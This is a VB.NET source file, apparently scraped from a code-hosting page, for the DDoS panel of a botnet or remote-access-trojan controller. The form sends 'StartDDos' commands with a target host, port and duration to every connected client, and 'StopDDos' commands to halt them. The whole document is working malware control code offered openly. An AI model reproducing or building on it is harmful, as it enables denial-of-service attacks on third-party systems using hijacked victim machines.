87 lines
3.1 KiB
VB.net
87 lines
3.1 KiB
VB.net
Imports System.Threading
|
|||
|
|
Public Class DDosAttack
|
||
|
|
|
||
|
|
Private timespan As TimeSpan
|
||
|
|
Private stopwatch As Stopwatch
|
||
|
|
|
||
|
|
Public Shared Clients As List(Of Client) = New List(Of Client)()
|
||
|
|
|
||
|
|
Public Shared Function IsValid(Address As String) As String
|
||
|
|
Try
|
||
|
|
Return New Uri(Address).DnsSafeHost
|
||
|
|
Catch ex As Exception
|
||
|
|
Return Address
|
||
|
|
End Try
|
||
|
|
End Function
|
||
|
|
|
||
|
|
Private Sub DDosAttack_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
|
||
|
|
Dim B As Byte() = SB("StopDDos")
|
||
|
|
For Each C In Clients
|
||
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||
|
|
Next
|
||
|
|
|
||
|
|
Clients.Clear()
|
||
|
|
|
||
|
|
Hide()
|
||
|
|
Parent = Nothing
|
||
|
|
e.Cancel = True
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
|
||
|
|
ToolStripStatusLabel1.Text = $"Timeout :{timespan.Subtract(TimeSpan.FromSeconds(stopwatch.Elapsed.Seconds))}"
|
||
|
|
If timespan < stopwatch.Elapsed Then
|
||
|
|
Guna2GradientButton2.Enabled = True
|
||
|
|
Guna2GradientButton3.Enabled = False
|
||
|
|
Timer1.Stop()
|
||
|
|
End If
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
|
||
|
|
Try
|
||
|
|
For Each C In Clients.ToList()
|
||
|
|
If Not C.IsConnected Then
|
||
|
|
Try
|
||
|
|
Clients.Remove(C)
|
||
|
|
ToolStripStatusLabel2.Text = "Clients [" & Clients.Count & "]"
|
||
|
|
Catch ex As Exception
|
||
|
|
End Try
|
||
|
|
End If
|
||
|
|
Next
|
||
|
|
Catch ex As Exception
|
||
|
|
Debug.WriteLine(ex.Message)
|
||
|
|
End Try
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub Guna2GradientButton2_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton2.Click
|
||
|
|
If Clients.Count > 0 Then
|
||
|
|
If String.IsNullOrWhiteSpace(txtHost.Text) OrElse String.IsNullOrWhiteSpace(txtPort.Text) OrElse String.IsNullOrWhiteSpace(txtTimeout.Text) Then Return
|
||
|
|
|
||
|
|
txtHost.Text = IsValid(txtHost.Text)
|
||
|
|
|
||
|
|
Guna2GradientButton2.Enabled = False
|
||
|
|
Dim B As Byte() = SB("StartDDos" & SettingsHelper.SPL & txtHost.Text & ":" & txtPort.Text & ":" & txtTimeout.Text)
|
||
|
|
For Each C In Clients
|
||
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||
|
|
Next
|
||
|
|
|
||
|
|
Guna2GradientButton3.Enabled = True
|
||
|
|
timespan = TimeSpan.FromSeconds(Convert.ToInt32(txtTimeout.Text) * 60)
|
||
|
|
stopwatch = New Stopwatch()
|
||
|
|
stopwatch.Start()
|
||
|
|
|
||
|
|
Timer1.Start()
|
||
|
|
End If
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub Guna2GradientButton3_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton3.Click
|
||
|
|
Dim B As Byte() = SB("StopDDos")
|
||
|
|
For Each C In Clients
|
||
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||
|
|
Next
|
||
|
|
|
||
|
|
Guna2GradientButton2.Enabled = True
|
||
|
|
Guna2GradientButton3.Enabled = False
|
||
|
|
|
||
|
|
Timer1.Stop()
|
||
|
|
End Sub
|
||
|
|
End Class
|